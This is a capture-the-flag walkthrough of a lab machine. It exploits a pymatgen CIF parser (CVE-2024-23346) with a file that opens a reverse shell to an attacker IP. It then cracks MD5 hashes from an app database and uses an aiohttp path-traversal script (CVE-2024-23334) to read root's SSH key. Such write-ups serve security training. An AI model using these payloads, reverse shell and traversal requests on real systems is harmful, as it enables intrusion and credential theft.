Recon
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Date: Wed, 23 Oct 2024 14:45:45 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Chemistry - Home</title>
| <link rel="stylesheet" href="/static/styles.css">
| </head>
| <body>
| <div class="container">
| class="title">Chemistry CIF Analyzer</h1>
| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
| <div class="buttons">
| <center><a href="/login" class="btn">Login</a>
| href="/register" class="btn">Register</a></center>
| </div>
| </div>
| </body>
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
As per usual I start with a nmap scan against the target machine. The machine is exposing only two ports one which being a web server on a non-default port of 5000
. The web server also does not want to redirect me to a domain, but for convenience I still a record for chemistry.htb
to my /etc/hosts
file.
Foothold as app
The website is rather simple and initially only offers me two choices, for logging in or registering an account. I chose the latter option and created my own account on the website.
CVE-2024-23346
After successfully registering an account and logging into the site, I am presented with an upload form for Crystallographic Information Files (CIF). Because I am unfamiliar with this file format I search for more information and possible related exploits.
Rather quickly I come across the promising looking CVE-2024-233346 and its Github security advisory, which also includes a proof-of-concept.
I switch the PoC command with an actual reverse shell command and save the exploit as a .cif
file. As always to catch the incoming reverse shell I stand up a nc
listener.
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.89/9001 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Shell as rosa
After stabilising my shell with the good old python trick I proceed with taking a closer look at the web application in search of additional credentials. Within the directory of the application I find a SQLite3 database file, which I can read on the target machine itself. The database only contains two tables out of which the user
table of great interest to me. This table stores the usernames and MD5 hashed password of the registered user to the application.
app@chemistry:~/instance$ sqlite3 database.db
sqlite3 database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
structure user
sqlite> select * from user;
select * from user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|j1ndosh|5ee9b51707ef7e7c1ec162a6a333ca4e
I copy the table content over to my machine and clean them up to that I am left with the MD5 hashes. After recovering the plaintext passwords by using hashcat
and rockyou.txt
I am left with three credentials. To see which one is for a potential user on the machine I take a quick look at /etc/passwd
. There I see that rosa
is another user on the box as whom I can now SSH into the machine.
rosa:63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados
carlos:9ad48828b0955513f7cf0f7f6510c8f8:carlos123
peter:6845c17d298d95aa942127bdad2ceb9b:peterparker
victoriac3601ad2286a4293868ec2a4bc606ba3:victoria123
Shell as root
Some light enumeration reveals an additional listening port on the machine, which is only accessible on localhost
.
rosa@chemistry:~$ netstat -tulpen
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN 0 38059 -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 101 35332 -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 37967 -
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 1001 37580 -
tcp6 0 0 :::22 :::* LISTEN 0 37969 -
udp 0 0 127.0.0.53:53 0.0.0.0:* 101 35331 -
udp 0 0 0.0.0.0:68 0.0.0.0:* 0 32147 -
To access this port from my attacker machine I use SSH to do some local port forwarding. Resulting in the service from port 8080
being available on my machine on port 9090
.
$ ssh -L 9090:127.0.0.1:8080 rosa@chemistry.htb
This port is hosting another web server, that visualises different metric related to earning from advertisements.
To get an idea about the underlying technology stack I look at the at the server response headers. They tell that I am once again dealing with a Python web server and about an additional module aiohttp/3.9.1
.
rosa@chemistry:~$ curl -v localhost:8080
* Trying 127.0.0.1:8080...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 5971
< Date: Wed, 23 Oct 2024 15:16:53 GMT
< Server: Python/3.9 aiohttp/3.9.1
<
<!DOCTYPE html>
...SNIP...
CVE-2024-23334
Because the website does not function properly I turn to searching for exploits targeting the identified Python module. And find the fitting CVE-2024-23334 alongside a proof-of-concept script. This vulnerability allows me to perform a path traversal, which enables me to perform arbitrary file read as the user running the web application. Taking a look at the running process confirms that the user root
is currently executing the Python script for the web server.
#!/bin/bash
url="http://localhost:9090"
string="../"
payload="/assets/"
file="etc/passwd" # without the first /
for ((i=0; i<15; i++)); do
payload+="$string"
echo "[+] Testing with $payload$file"
status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
echo -e "\tStatus code --> $status_code"
if [[ $status_code -eq 200 ]]; then
curl -s --path-as-is "$url$payload$file"
break
fi
done
Above you can see the proof-of-concept code, which will find and exploit the path traversal to read the /etc/passwd
file. However simply running the original script will result in no vulnerability being found. The script assumes that the static content of the website such as JavaScript can found be under /static/
, however this is not the case here. After looking at the network traffic in the web developer console I see that these files are stored under /assets/
.
$ ./exploit.sh
[+] Testing with /assets/../etc/passwd
Status code --> 404
[+] Testing with /assets/../../etc/passwd
Status code --> 404
[+] Testing with /assets/../../../etc/passwd
Status code --> 200
root:x:0:0:root:/root:/bin/bash
...
With the confirmation of the vulnerability and the depth of the path of traversal I than switch directly to curl
to read the root flag and the private SSH key of the root
user. Through which I can now SSH into machine as root
.
$ curl --path-as-is "http://localhost:9090/assets/../../../root/.ssh/id_rsa"